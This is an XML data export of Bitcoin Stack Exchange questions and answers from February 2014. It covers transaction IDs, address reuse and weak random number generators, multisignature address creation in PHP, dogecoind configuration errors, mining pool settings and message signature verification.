  <row Id="22415" PostTypeId="1" AcceptedAnswerId="22421" CreationDate="2014-02-19T08:08:37.693" Score="2" ViewCount="20005" Body="&lt;p&gt;If I send or receive something (with Bitcoin-QT), how can I get the transaction ID of that transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;context: I'm playing satoshi bones and they have verification code I can run to make sure they're playing by their own rules.  The game is based on a hash of the transaction ID of what I send them, so I just want to give it a check but I need the transaction IDs of my transactions with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;verification code supplied by satoshi bones that I want to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;import struct&#xA;def verify(txid,secret,lessthen):&#xA;   sha512 = hashlib.sha512()&#xA;   sha512.update(secret+txid)&#xA;   b = sha512.digest()&#xA;   result = struct.unpack(&quot;&amp;lt;H&quot;,b[0]+b[1])[0]&#xA;   if result&amp;lt;lessthen:&#xA;      print &quot;win!&quot;&#xA;   else:&#xA;      print &quot;lose!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="11495" LastEditDate="2014-02-19T08:19:49.553" LastActivityDate="2018-07-12T13:28:08.767" Title="How do I find the transaction ID of what I just transacted?" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22416" PostTypeId="2" ParentId="22067" CreationDate="2014-02-19T08:56:40.833" Score="2" Body="&lt;p&gt;Ripple Labs Chief Cryptographer David Schwartz provided details on Ripple transaction malleability in &lt;a href=&quot;http://www.newfination.com/2014/02/17/ripple-labs-chief-cryptographer-david-schwartz-talks-about-malleability-in-bitcoin/5212/&quot; rel=&quot;nofollow&quot;&gt;an interview at Newfination&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="593" LastEditorUserId="3364" LastEditDate="2014-05-22T17:51:25.130" LastActivityDate="2014-05-22T17:51:25.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22417" PostTypeId="2" ParentId="22386" CreationDate="2014-02-19T09:29:51.550" Score="2" Body="&lt;p&gt;I agree that better client software will inevitably emerge with broader adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning the amount of time it takes for a transaction to confirm, I think that you have to distinguish different scenarios in which Bitcoin is taking the place of the previous solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Payment in a store: &#xA;&lt;ul&gt;&#xA;&lt;li&gt;0-confirmation is acceptable for tiny payments like getting a sandwich/coffee.&lt;/li&gt;&#xA;&lt;li&gt;Shops offering bigger purchases, say a jewellery shop or car dealership would probably use a payment processor that assumes the double-spend risk or wait for the first confirmation, not a big issue as there is more stuff to talk about anyway. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Webshopping (some examples)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To read an article for five cents or to pay to watch a movie ~&gt; 0-confirmation is not an issue&lt;/li&gt;&#xA;&lt;li&gt;Ordering food: Delivery will probably take longer than confirmation time anyway, so they will be sure you paid by the time they hand over the food. &lt;/li&gt;&#xA;&lt;li&gt;Ordering physical goods: It's asynchronous anyway, a 10 minute confirmation time is irrelevant. So, you'll receive a confirmation of your order after ten minutes instead of immediately.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then one should also mention other applications like (international) wire transfers, where 10 minutes for the first confirmation is magnitudes faster than current systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altogether, the only point where I see any friction at all is &quot;big purchases in a physical store&quot;, but even for most of those I would assess the friction to be negligible by just shifting the payment a bit ahead in the whole process, or there being a contract which could be used to follow-up on a failed payment.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-19T11:43:28.133" LastActivityDate="2014-02-19T11:43:28.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22418" PostTypeId="1" CreationDate="2014-02-19T09:34:43.430" Score="7" ViewCount="958" Body="&lt;p&gt;There is already &lt;a href=&quot;https://bitcoin.stackexchange.com/q/20621/1725&quot; title=&quot;Is it safe to reuse a Bitcoin address?&quot;&gt;a question&lt;/a&gt; that ask why you shouldn't reuse addresses, but it's about whether or not it's a bad idea for the person who would do the reusing. I understand there are several reasons you'd want to avoid reusing (e.g., fear that ECDSA isn't secure, privacy and anonymity concerns, difficulty of tracking senders, etc.); as far as I can tell, it's still sometimes worth it on an individual level to reuse an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Bitcoin Wiki says in multiple places (&lt;a href=&quot;https://en.bitcoin.it/wiki/Firstbits#Contradicts_design_of_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;One argument against Firstbits and vanity addresses&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Why_does_my_Bitcoin_address_keep_changing.3F&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Why the default client changes your receiving address&quot;&gt;here&lt;/a&gt;) that reusing an address degrades the security of the whole network; I also think I've seen this claim elsewhere but can't track down the source anymore. I don't understand how this could degrade the security of the network, and if it does, what's to prevent an attacker from repeatedly doing this before an attack if it would help?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="5406" LastEditDate="2017-06-02T15:37:15.767" LastActivityDate="2017-06-02T15:37:15.767" Title="Does it hurt the network to reuse addresses?" Tags="|security|vanity-address|address-reuse|firstbits|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22420" PostTypeId="2" ParentId="22418" CreationDate="2014-02-19T10:28:56.157" Score="2" Body="&lt;p&gt;Reusing an address is a security issue if you have a weak random number generator, as was an issue with the Android Bitcoin Wallet. I should note this was android's fault for using a bad generator and was fixed quickly by the app developer, though some people lost coins because they had signed multiple messages (i.e. transactions) with the same address and the number generator used the same random number for more than one transaction, for more info you can see this: &lt;a href=&quot;http://gigaom.com/2013/08/12/why-bitcoin-users-using-android-wallet-apps-need-to-upgrade/&quot; rel=&quot;nofollow&quot;&gt;http://gigaom.com/2013/08/12/why-bitcoin-users-using-android-wallet-apps-need-to-upgrade/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to know more about why using the same random number in two messages is bad, you can read about ECDSA (ecliptic curve digital signature algorithm) here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Signatures&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Signatures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are concerned with the people you transfer bitcoins with knowing how much money you have and when you're sending money, and possibly to whom, you should consider keeping your addresses and transactions separate. This involves choosing which inputs you use to send transactions, using a system like armory allows you to do this.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-19T10:28:56.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22421" PostTypeId="2" ParentId="22415" CreationDate="2014-02-19T10:31:19.807" Score="4" Body="&lt;p&gt;With bitcoin-qt you can look in your transaction history and right click your transaction to find more info, including the txid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using bitcoind, the client gives you the txid as the response for a successful send.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-19T10:31:19.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22423" PostTypeId="1" CreationDate="2014-02-19T11:12:05.863" Score="1" ViewCount="390" Body="&lt;p&gt;I am using bitcoind 0.8.5 with JSON to try and implement multisignature addresses locally on my server. &#xA;But when I try and create one from my code, it keeps returning FALSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;$create_multisig = $bitcoin-&gt;createmultisig (2, '[ &quot;02e280809f7a7e0fabb7404d68ef89b66e9cf63ecfffd37ef2c78d06c51d2247f6&quot;, &quot;02f22be70ae35432c82e7b05846eeab1fec5b09ebe523bb98d6d6bbf1ff29d96c3&quot;]');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump($create_multisig);&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried variations of the quotes, I tried putting the public keys into variables, etc.. Can somebody tell me what I am doing wrong here? It won't create the multisignature address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;$pubkey_str = &quot;&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$pubkey_str .= &quot;\&quot;02e280809f7a7e0fabb7404d68ef89b66e9cf63ecfffd37ef2c78d06c51d2247f6\&quot;,&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$pubkey_str .= &quot;\&quot;02f22be70ae35432c82e7b05846eeab1fec5b09ebe523bb98d6d6bbf1ff29d96c3\&quot;,&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$pubkey_str = substr($pubkey_str, 0, (strlen($pubkey_str)-1));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$pubkey_input = &quot;'[$pubkey_str]'&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump($pubkey_input);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$create_multisig = $bitcoin-&gt;addmultisigaddress (2, $pubkey_input);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump($create_multisig);&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the resulting output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;string(141) &quot;'[&quot;02e280809f7a7e0fabb7404d68ef89b66e9cf63ecfffd37ef2c78d06c51d2247f6&quot;,&quot;02f22be70ae35432c82e7b05846eeab1fec5b09ebe523bb98d6d6bbf1ff29d96c3&quot;]'&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bool(false) &#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13641" LastEditorUserId="13641" LastEditDate="2014-02-19T17:13:25.493" LastActivityDate="2015-05-12T12:36:55.270" Title="Bitcoin CreateMultiSig in PHP always returning FALSE" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22425" PostTypeId="2" ParentId="22410" CreationDate="2014-02-19T14:01:33.290" Score="0" Body="&lt;p&gt;You may also take a look at those:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;getreceivedbyaddress&lt;/strong&gt; &amp;lt;*coinaddress&gt; - it does display you how many *coins have been moved to this particular address. It doesn't subtract payouts, which should be handled internally.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;getreceivedbyaccount&lt;/strong&gt;  - use this instead of above if you use accounts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can provide a second parameter to those being a minimal number of confirmations.&lt;/p&gt;&#xA;" OwnerUserId="13645" LastActivityDate="2014-02-19T14:01:33.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22427" PostTypeId="2" ParentId="10447" CreationDate="2014-02-19T14:12:07.260" Score="0" Body="&lt;p&gt;There is a Norway exchange where you can buy and sell, it is called &lt;a href=&quot;https://justcoin.com/&quot; rel=&quot;nofollow&quot;&gt;Justcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-02-19T14:12:07.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22428" PostTypeId="2" ParentId="21638" CreationDate="2014-02-19T14:18:12.877" Score="1" Body="&lt;p&gt;There is a working version of cgminer that supports both scrypt and scryp-jane, available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/rmdavidson/&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/rmdavidson/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13647" LastActivityDate="2014-02-19T14:18:12.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22429" PostTypeId="1" CreationDate="2014-02-19T15:24:36.130" Score="1" ViewCount="1856" Body="&lt;p&gt;My Litecoin wallet version v0.8.6.2-beta is showing a balance of 26.579 ltc&#xA;When I query &lt;a href=&quot;http://block-explorer.com/address/LejrG23b2HcjqPRbZU8UWFxZhdJTUc75pS&quot; rel=&quot;nofollow&quot;&gt;http://block-explorer.com/address/LejrG23b2HcjqPRbZU8UWFxZhdJTUc75pS&lt;/a&gt; it is showing 0 balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just sent 2 ltc to another address from my wallet successfully on 19 Feb 2014. This tx did not show up in the block-explorer.com (currently 20 confirmations), yet it did show the new balance correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ltc.blockr.io/api/v1/address/balance/LejrG23b2HcjqPRbZU8UWFxZhdJTUc75pS&quot; rel=&quot;nofollow&quot;&gt;http://ltc.blockr.io/api/v1/address/balance/LejrG23b2HcjqPRbZU8UWFxZhdJTUc75pS&lt;/a&gt; is also showing a 0 balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="13648" LastActivityDate="2014-05-23T04:53:28.667" Title="LiteCoin Wallet balance does not match block-explorer.com" Tags="|wallet|blockchain|litecoin|balance|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22430" PostTypeId="1" CreationDate="2014-02-19T17:43:30.397" Score="0" ViewCount="3407" Body="&lt;p&gt;I work as a virtual assistant and live in the Philippines and my employer is in the US. We've been using Paypal to send payments to me and my employer mentioned using bitcoins instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I downloaded this Bitcoin wallet on my PC (we haven't done any transactions yet using bitcoin cause I want to understand it first) and was wondering how can I transfer the bitcoin money from that wallet to my bank account here in the Philippines?&lt;/p&gt;&#xA;" OwnerUserId="13653" LastActivityDate="2018-09-13T10:21:07.480" Title="Withdraw bitcoin to Philippine bank account" Tags="|payment|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22432" PostTypeId="2" ParentId="22104" CreationDate="2014-02-19T18:21:53.180" Score="0" Body="&lt;p&gt;I was originally going to phrase this as a comment but I'm confident enough to risk the downvotes with an answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Bob should have done was spend the original inputs again (possibly by simply re-broadcasting his original txn). If the alternative txn was already in the blockchain the new txn would be correctly rejected as a double-spend, alerting Bob that the coins had in fact changed hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to learning how my simple explanation is incorrect :)&lt;/p&gt;&#xA;" OwnerUserId="4338" LastActivityDate="2014-02-19T18:21:53.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22434" PostTypeId="2" ParentId="20745" CreationDate="2014-02-19T19:00:44.860" Score="2" Body="&lt;p&gt;I don't think you'll find a complete list since there are so many of them out there.  Some alt coins have changed their 3 character codes, some alt coins have used the same 3 character codes that had been used by a different coin in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been keeping a list of my addresses on the spreadsheet below but this spreadsheet also lists a good number of alt coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AsVWbj5CxfmHdGxmNmpycThjRzN6NUJtR0ItNnlBVUE&amp;amp;usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AsVWbj5CxfmHdGxmNmpycThjRzN6NUJtR0ItNnlBVUE&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13656" LastActivityDate="2014-02-19T19:00:44.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22435" PostTypeId="2" ParentId="22423" CreationDate="2014-02-19T19:08:44.630" Score="1" Body="&lt;p&gt;I lost my guest session but I figured out the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jsonRPCClient was not providing me any useful information as an output so serching Stack Exchange I was able to find somebody who changed the JSON library to output a useful error code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    Add *'ignore_errors' =&gt; true* to the $opts array&#xA;    Change the error line that throws Request error to read throw new Exception('Request error: '.$response['error']['code'].' - '.$response['error']['message']);.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the output said that I was inputting a string and I should be inputting an array. So all I had to do, was put all the public keys into an array and plug it into the createmultisig function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$pubkey_str = array();&#xA;&#xA;$pubkey_str[] = &quot;02e280809f7a7e0fabb7404d68ef89b66e9cf63ecfffd37ef2c78d06c51d2247f6&quot;;&#xA;&#xA;$pubkey_str[] = &quot;02f22be70ae35432c82e7b05846eeab1fec5b09ebe523bb98d6d6bbf1ff29d96c3&quot;;&#xA;&#xA;&#xA;$create_multisig = $bitcoin-&gt;createmultisig (2,$pubkey_str);&#xA;var_dump($create_multisig);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this was the output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;array(2) { [&quot;address&quot;]=&gt; string(35) &quot;2MtXTzX7pASPKr8VKmkyWKRNFt2o1oFxi9K&quot; [&quot;redeemScript&quot;]=&gt; string(142) &quot;522102e280809f7a7e0fabb7404d68ef89b66e9cf63ecfffd37ef2c78d06c51d2247f62102f22be70ae35432c82e7b05846eeab1fec5b09ebe523bb98d6d6bbf1ff29d96c352ae&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is exactly what I expected. So maybe it was a stupid mistake on my behalf, but hopefully other people can benefit from it. &lt;/p&gt;&#xA;" OwnerUserId="13657" LastEditorUserId="132" LastEditDate="2014-02-21T13:43:04.827" LastActivityDate="2014-02-21T13:43:04.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22436" PostTypeId="1" AcceptedAnswerId="23362" CreationDate="2014-02-19T19:09:02.227" Score="0" ViewCount="647" Body="&lt;p&gt;I have the same problem with the Litecoin and Dogecoin client. Once I open the window in the menu &lt;code&gt;Help &amp;gt; Debug window&lt;/code&gt; there is no way of closing it (no X in the corner of the window).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Debian and Gnome 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image contains the Dogecoin client (downloaded from Github and compiled), Litecoin client looks just the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vq75X.png&quot; alt=&quot;Dogecoin client with debug window open&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3252" LastEditorUserId="3252" LastEditDate="2014-03-10T10:44:52.670" LastActivityDate="2014-03-11T07:44:00.607" Title="How to close debug window (qt client on linux)" Tags="|litecoin|dogecoin|litecoin-qt|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22438" PostTypeId="1" CreationDate="2014-02-19T19:57:59.300" Score="1" ViewCount="138" Body="&lt;p&gt;There is a list of bounties on the wiki here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Active_Bounties&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Active_Bounties&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are the BTC pledges collated and eventually paid? I assume there is some kind of escrow system but I can't find out anything about it.&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2014-02-19T22:17:49.807" Title="What escrow system does the official Bitcoin bounty progam use?" Tags="|escrow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22440" PostTypeId="2" ParentId="22438" CreationDate="2014-02-19T21:15:22.630" Score="2" Body="&lt;p&gt;Multisignature transactions can act as escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction could require a party and a trusted third party to complete, or it could be the trusted third party alone who signs to complete the transaction.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-02-19T21:15:22.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22442" PostTypeId="1" AcceptedAnswerId="22639" CreationDate="2014-02-19T22:04:56.197" Score="2" ViewCount="2990" Body="&lt;p&gt;I'm having issues starting dogecoind after compiling in ubuntu 12.04 x64 running in VirtualBox on win 7 ultimate x64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's what i've tried from inside dogecoin/src after &lt;code&gt;make -f makefile.unix&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo su&#xA;./dogecoind -server -listen -daemon -rpcuser=dogerpc -rpcpassword=dogerpcpw -rpctimeout=30 -rpcport=8334 -rpcallowip=192.168.1.* -rpcallowip=127.0.0.1 -testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: To use the &quot;-server&quot; option, you must set a secure rpcpassword in the configuration file:&#xA;/root/.dogecoin/dogecoin.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/.dogecoin&#xA;emacs dogecoin.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i save the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=dogerpc&#xA;rpcpassword=dogerpcpw&#xA;rpcport=8334&#xA;rpcallowip=192.168.1.*&#xA;rpcallowip=127.0.0.1&#xA;server=1&#xA;daemon=1&#xA;listen=1&#xA;testnet=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i even &lt;code&gt;chmod 777 dogecoin.conf&lt;/code&gt; to be sure everyone on God's green earth could access it so that wouldn't be a problem, but still the same error when trying to start up &lt;code&gt;dogecoind&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would much appreciate any help/tips!&lt;/p&gt;&#xA;" OwnerUserId="12710" LastEditorUserId="12710" LastEditDate="2014-02-20T06:40:56.470" LastActivityDate="2021-07-05T06:47:40.870" Title="dogecoind won't read conf" Tags="|ubuntu|dogecoin|daemon|" AnswerCount="5" CommentCount="4" ClosedDate="2021-07-07T11:55:10.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="22443" PostTypeId="2" ParentId="22438" CreationDate="2014-02-19T22:17:49.807" Score="2" Body="&lt;p&gt;Usually they're a multisig transaction between a couple of core developers. One recent one was a 2-of-3 between Greg Maxwell and a couple of others. It's mainly just to prevent hit-by-a-bus scenarios, we trust in these people absolutely. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-19T22:17:49.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22444" PostTypeId="2" ParentId="22442" CreationDate="2014-02-19T23:23:44.997" Score="2" Body="&lt;p&gt;It's unclear which version of dogecoind you are using. However, in the current 1.5 code on Github, there is a similar message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (mapArgs[&quot;-rpcuser&quot;] == &quot;&quot; &amp;amp;&amp;amp; mapArgs[&quot;-rpcpassword&quot;] == &quot;&quot;)&#xA;    throw runtime_error(strprintf(&#xA;        _(&quot;You must set rpcpassword=&amp;lt;password&amp;gt; in the configuration file:\n%s\n&quot;&#xA;          &quot;If the file does not exist, create it with owner-readable-only file permissions.&quot;),&#xA;            GetConfigFile().string().c_str()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dogecoin/dogecoin/blob/master-1.5/src/bitcoinrpc.cpp#L1080&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dogecoin/dogecoin/blob/master-1.5/src/bitcoinrpc.cpp#L1080&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This indicates that your attempt at working around the problem with &lt;code&gt;chmod 777&lt;/code&gt; would not have had the desired effect. Instead, try &lt;code&gt;chmod 600 dogecoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-19T23:23:44.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22445" PostTypeId="2" ParentId="20992" CreationDate="2014-02-19T23:55:07.950" Score="2" Body="&lt;p&gt;I think these are the settings you are looking for. Changing &quot;url&quot; to &quot;quota&quot; and specifying the amounts in the format &quot;AMOUNT;URL&quot;. It makes it easier to use percents, but it isn't a requirement. For example you could use a quota of 8 for pool1 and 2 for pool2.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&quot;pools&quot; : [&#xA;    {&#xA;    &quot;quota&quot; : &quot;80;http://pool1&quot;,&#xA;    &quot;user&quot; : &quot;user1&quot;,&#xA;    &quot;pass&quot; : &quot;123&quot;&#xA;    },&#xA;    {&#xA;    &quot;quota&quot; : &quot;20;http://pool2&quot;,&#xA;    &quot;user&quot; : &quot;user2&quot;,&#xA;    &quot;pass&quot; : &quot;123&quot;&#xA;    }&#xA;]&#xA;,&#xA;&quot;load-balance&quot; : true,&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13664" LastActivityDate="2014-02-19T23:55:07.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22446" PostTypeId="2" ParentId="22349" CreationDate="2014-02-20T00:07:51.187" Score="2" Body="&lt;p&gt;The information you get for a &lt;code&gt;getblock&lt;/code&gt; call doesn't seem to include the block reward. You could find it with a &lt;code&gt;gettransaction&lt;/code&gt; call for the first transaction, but bitcoind only allows lookup for transactions in your own wallet, so that won't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So indeed, as Diego points out, the only option is to look at the block height. &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply#Projected_Bitcoins_Long_Term&quot; rel=&quot;nofollow&quot;&gt;This wiki page&lt;/a&gt; lists the different reward values for the different block height intervals.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-02-20T00:07:51.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22448" PostTypeId="2" ParentId="19142" CreationDate="2014-02-20T00:17:43.230" Score="1" Body="&lt;p&gt;When signing a message (as opposed to signing a transaction), the signature contains additional information needed to recover the public key using the signature and the signed message.  The recovered public key is then hashed and the result compared to the address.  If they match, the message was signed by that address.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-20T00:17:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22449" PostTypeId="2" ParentId="19142" CreationDate="2014-02-20T00:28:03.547" Score="1" Body="&lt;p&gt;It is possible to recover the public key from the signed message and the signature. This public key can than be hashed and compared to the hashed public key you already have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you don't really &quot;verify the signature &lt;em&gt;with&lt;/em&gt; the public key*, because you don't need to have it beforehand to verify the signature. What you do is calculate the public key that corresponds to the private key with which the signature has been created.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-02-20T00:28:03.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22450" PostTypeId="2" ParentId="1741" CreationDate="2014-02-20T01:13:31.747" Score="0" Body="&lt;p&gt;This API will push your transaction into the network if you have your $priv_key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/merchant/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/merchant/&lt;/a&gt;$priv_key/payment?to=$recipient_address&amp;amp;amount=$amount_satoshi&amp;amp;fee=50000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in order to inject this transaction onto the network for you, they require a minimum fee of 50000 Satoshi (0.0005 BTC) whether you specify a fee or not. For more details, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/api_send&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_send&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that fee (about $0.30) might seem a little too generous. Does anyone know of a way to do this for a smaller fee?&lt;/p&gt;&#xA;" OwnerUserId="13668" LastActivityDate="2014-02-20T01:13:31.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22451" PostTypeId="2" ParentId="22442" CreationDate="2014-02-20T02:04:40.223" Score="0" Body="&lt;p&gt;Dogecoin does not use port number 8334 the port for dogecoin is 22555 and if the above mentioned is really your password please change it to something more strong &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-20T02:04:40.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
